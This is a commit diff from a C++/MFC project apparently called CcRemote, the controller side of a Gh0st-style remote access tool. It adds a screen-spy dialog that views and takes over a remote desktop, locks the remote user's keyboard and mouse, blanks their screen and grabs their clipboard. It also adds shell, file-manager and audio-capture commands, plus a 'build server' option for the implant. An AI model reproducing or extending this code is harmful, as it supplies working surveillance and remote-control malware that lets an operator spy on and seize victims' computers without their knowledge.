LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
RECT rectDest;
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
bIsReDraw = true;
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
//////////////////////////////////////////////////////////////////////////
dwOffset = 0;
while (dwOffset < dwBytes)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
// 不需要重绘鼠标的话,直接重绘变化的部分
if (!bIsReDraw)
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
if (bIsReDraw) PostMessage(WM_PAINT);
}
//更改屏幕分辨率
void CScreenSpyDlg::ResetScreen(void)
{
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (m_lpbmi != NULL)
{
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
delete[] m_lpbmi;
delete[] m_lpbmi_rect;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
DeleteObject(m_hFullBitmap);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
InitMMI();
// 分辨率发生改变
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 计算ClientRect与WindowRect的差距标题栏滚动条
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
MoveWindow(&rectWindow);
}
}
}
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
//用来截获消息的。我们可以通过重载它来处理键盘和鼠标消息。
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
CRect rect;
GetClientRect(&rect);
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_MOUSEWHEEL:
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true;
break;
default:
break;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CScreenSpyDlg::SendCommand(MSG* pMsg)
{
if (!m_bIsCtrl)
return;
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
lpData[0] = COMMAND_SCREEN_CONTROL;
memcpy(lpData + 1, pMsg, sizeof(MSG));
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
delete[] lpData;
}
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID)
{
case IDM_CONTROL:
{
m_bIsCtrl = !m_bIsCtrl;
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl)
{
if (m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
}
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
}
break;
case IDM_SEND_CTRL_ALT_DEL:
{
BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL;
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
}
break;
case IDM_TRACE_CURSOR: // 跟踪服务端鼠标
{
m_bIsTraceCursor = !m_bIsTraceCursor;
pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl)
{
if (!m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
}
// 重绘消除或显示鼠标
OnPaint();
}
break;
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_BLANK_SCREEN: // 服务端黑屏
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLANK;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_CAPTURE_LAYER: // 捕捉层
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_SAVEDIB:
SaveSnapshot();
break;
case IDM_GET_CLIPBOARD: // 获取剪贴板
{
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
}
break;
case IDM_SET_CLIPBOARD: // 设置剪贴板
{
SendLocalClipboard();
}
break;
case IDM_ALGORITHM_SCAN: // 隔行扫描算法
{
SendResetAlgorithm(ALGORITHM_SCAN);
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
}
break;
case IDM_ALGORITHM_DIFF: // 差异比较算法
{
SendResetAlgorithm(ALGORITHM_DIFF);
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND);
}
break;
case IDM_DEEP_1:
{
SendResetScreen(1);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND);
}
break;
case IDM_DEEP_4_GRAY:
{
SendResetScreen(3);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND);
}
break;
case IDM_DEEP_4_COLOR:
{
SendResetScreen(4);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND);
}
break;
case IDM_DEEP_8_GRAY:
{
SendResetScreen(7);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND);
}
break;
case IDM_DEEP_8_COLOR:
{
SendResetScreen(8);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
break;
case IDM_DEEP_16:
{
SendResetScreen(16);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND);
}
break;
case IDM_DEEP_32:
{
SendResetScreen(32);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND);
}
break;
default:
CDialog::OnSysCommand(nID, lParam);
}
CDialog::OnSysCommand(nID, lParam);
}
bool CScreenSpyDlg::SaveSnapshot(void)
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
CFileDialog dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
if (dlg.DoModal() != IDOK)
return false;
BITMAPFILEHEADER hdr;
LPBITMAPINFO lpbi = m_lpbmi;
CFile file;
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
MessageBox("文件保存失败");
return false;
}
// BITMAPINFO大小
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
// Fill in the fields of the file header
hdr.bfType = ((WORD)('M' << 8) | 'B'); // is always "BM"
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
// Write the file header
file.Write(&hdr, sizeof(hdr));
file.Write(lpbi, nbmiSize);
// Write the DIB header and the bits
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
file.Close();
return true;
}
void CScreenSpyDlg::SendLocalClipboard(void)
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
m_iocpServer->Send(m_pContext, lpData, nPacketLen);
delete[] lpData;
}
void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm)
{
BYTE bBuff[2];
bBuff[0] = COMMAND_ALGORITHM_RESET;
bBuff[1] = nAlgorithm;
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
}
void CScreenSpyDlg::SendResetScreen(int nBitCount)
{
m_nBitCount = nBitCount;
BYTE bBuff[2];
bBuff[0] = COMMAND_SCREEN_RESET;
bBuff[1] = m_nBitCount;
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
}

View File

@@ -0,0 +1,72 @@
#pragma once
#include "include/IOCPServer.h"
#include "..\..\common\CursorInfo.h"
// CScreenSpyDlg 对话框
class CScreenSpyDlg : public CDialog
{
DECLARE_DYNAMIC(CScreenSpyDlg)
public:
CScreenSpyDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CScreenSpyDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SCREENSPY };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
private:
int m_nBitCount;
bool m_bIsFirst;
bool m_bIsTraceCursor;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
HICON m_hIcon;
MINMAXINFO m_MMI;
HDC m_hDC, m_hMemDC, m_hPaintDC;
HBITMAP m_hFullBitmap;
LPVOID m_lpScreenDIB;
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
UINT m_nCount;
UINT m_HScrollPos, m_VScrollPos;
HCURSOR m_hRemoteCursor;
DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot;
POINT m_RemoteCursorPos;
BYTE m_bCursorIndex;
CCursorInfo m_CursorInfo;
bool m_bIsCtrl;
public:
afx_msg void OnClose();
virtual BOOL OnInitDialog();
void InitMMI(void);
void SendNext(void);
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnPaint();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG* pMsg);
private:
void DrawTipString(CString str);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard(void);
public:
void OnReceiveComplete(void);
void DrawFirstScreen(void);
void DrawNextScreenDiff(void);
void DrawNextScreenRect(void);
void ResetScreen(void);
void SendCommand(MSG* pMsg);
bool SaveSnapshot(void);
void SendResetAlgorithm(UINT nAlgorithm);
void SendResetScreen(int nBitCount);
};

Binary file not shown.

View File

@@ -96,6 +96,7 @@
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -201,9 +202,14 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="..\..\common\macros.h" />
<ClInclude Include="CAudioDlg.h" />
<ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CFileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="CScreenSpyDlg.h" />
<ClInclude Include="CSettingDlg.h" />
<ClInclude Include="CShellDlg.h" />
<ClInclude Include="CSystemDlg.h" />
@@ -213,6 +219,7 @@
<ClInclude Include="include\IOCPServer.h" />
<ClInclude Include="include\Mapper.h" />
<ClInclude Include="IniFile.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="PublicStruct.h" />
<ClInclude Include="Resource.h" />
@@ -221,8 +228,15 @@
<ClInclude Include="TrueColorToolBar.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp" />
<ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CFileManagerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="CScreenSpyDlg.cpp" />
<ClCompile Include="CSettingDlg.cpp" />
<ClCompile Include="CShellDlg.cpp" />
<ClCompile Include="CSystemDlg.cpp" />
@@ -241,6 +255,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
</ClCompile>
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
@@ -254,13 +269,24 @@
<ResourceCompile Include="CcRemote.rc" />
</ItemGroup>
<ItemGroup>
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\3.cur" />
<None Include="res\4.cur" />
<None Include="res\CcRemote.rc2" />
<None Include="res\dot.cur" />
</ItemGroup>
<ItemGroup>
<Image Include="res\audio.ico" />
<Image Include="res\background_picture.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\bmp00001.bmp" />
<Image Include="res\CcRemote.ico" />
<Image Include="res\cmdshell.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\ToolBar_Main.bmp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />

View File

@@ -75,6 +75,24 @@
<ClInclude Include="CSystemDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CScreenSpyDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CFileManagerDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileTransferModeDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="InputDlg.h">
<Filter>源文件</Filter>
</ClInclude>
<ClInclude Include="CAudioDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@@ -113,6 +131,24 @@
<ClCompile Include="CSystemDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CScreenSpyDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CFileManagerDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileTransferModeDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="InputDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">
@@ -123,6 +159,21 @@
<None Include="res\CcRemote.rc2">
<Filter>资源文件</Filter>
</None>
<None Include="res\dot.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\1.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\2.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\3.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\4.cur">
<Filter>资源文件</Filter>
</None>
</ItemGroup>
<ItemGroup>
<Image Include="res\CcRemote.ico">
@@ -140,5 +191,23 @@
<Image Include="res\system.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\background_picture.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\Bitmap_4.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\Bitmap_5.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\bmp00001.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\toolbar2.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\audio.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -83,7 +83,10 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
@@ -106,6 +109,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_COMMAND(IDM_MAIN_BUILD, &CCcRemoteDlg::OnMainBuild)
ON_COMMAND(IDM_MAIN_ABOUT, &CCcRemoteDlg::OnMainAbout)
ON_WM_CLOSE()
ON_WM_ERASEBKGND()
ON_WM_CTLCOLOR()
END_MESSAGE_MAP()
@@ -291,6 +296,8 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
if (SIZE_MINIMIZED == nType)//当窗口最小化避免大小为0造成崩溃直接返回
return;
if (m_CList_Online.m_hWnd != NULL)
{
CRect rc;
@@ -307,6 +314,12 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
int lenth = dd; //转换为int 类型
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
}
//TCHAR szBuffer[_MAX_PATH];
//VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
//CString sPath = (CString)szBuffer; sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
}
if (m_CList_Message.m_hWnd != NULL)
{
@@ -324,6 +337,9 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
int lenth = dd; //转换为int 类型
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
}
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
}
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
@@ -357,6 +373,7 @@ int CCcRemoteDlg::InitMyMenu()
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
//popup.GetSubMenu(0)->SetMenuItemBitmaps();
::MENUINFO lpcmi;
m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
@@ -371,6 +388,16 @@ int CCcRemoteDlg::InitMyMenu()
int CCcRemoteDlg::InitList()
{
// CLR_NONE没有背景色。图像是透明的。
m_CList_Online.SetTextBkColor(CLR_NONE);
m_CList_Online.SetBkColor(CLR_NONE);
m_CList_Online.SetTextColor(RGB(255, 0, 0));
m_CList_Message.SetTextBkColor(CLR_NONE);
m_CList_Message.SetBkColor(CLR_NONE);
//m_CList_Message.SetTextColor(RGB(255, 0, 0));
//设置list可选中
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
@@ -437,12 +464,13 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
strStatusMsg.Format("已连接: %d", m_OnlineCount);
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
}
void CCcRemoteDlg::Test()
{
ShowMessage(true, "软件初始化成功...");
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
@@ -482,14 +510,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
void CCcRemoteDlg::OnOnlineAudio()
{
// TODO: 在此添加命令处理程序代码
MessageBox("声音");
// MessageBox("声音");
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineCmd()
{
// TODO: 在此添加命令处理程序代码
MessageBox("CMD");
// MessageBox("CMD");
BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken,sizeof(BYTE));
}
@@ -498,12 +529,16 @@ void CCcRemoteDlg::OnOnlineCmd()
void CCcRemoteDlg::OnOnlineDesktop()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineFile()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_LIST_DRIVE; //在服务端中搜索COMMAND_LIST_DRIVE
SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -608,6 +643,7 @@ void CCcRemoteDlg::InitStatusBar()
//初始化工具条按钮控件
void CCcRemoteDlg::InitToolBar()
{
//创建工具条
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
@@ -646,6 +682,7 @@ void CCcRemoteDlg::InitToolBar()
m_ToolBar.SetButtonText(10, "参数设置");
m_ToolBar.SetButtonText(11, "生成服务端");
m_ToolBar.SetButtonText(12, "帮助");
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
}
@@ -691,6 +728,8 @@ void CCcRemoteDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标
m_CList_Message.SetBkImage("relese", TRUE);
m_CList_Online.SetBkImage("relese", TRUE);
CDialogEx::OnClose();
}
@@ -748,24 +787,24 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
{
switch (pContext->m_Dialog[0])
{
//case FILEMANAGER_DLG:
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
// break;
//case SCREENSPY_DLG:
// ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
// break;
case FILEMANAGER_DLG:
((CFileManagerDlg *)dlg)->OnReceiveComplete();
break;
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
//case AUDIO_DLG:
// ((CAudioDlg *)dlg)->OnReceiveComplete();
// break;
case AUDIO_DLG:
((CAudioDlg *)dlg)->OnReceiveComplete();
break;
//case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
@@ -806,24 +845,24 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
}
break;
/*case TOKEN_DRIVE_LIST: // 驱动器列表
/*
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
case TOKEN_AUDIO_START: // 语音
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜
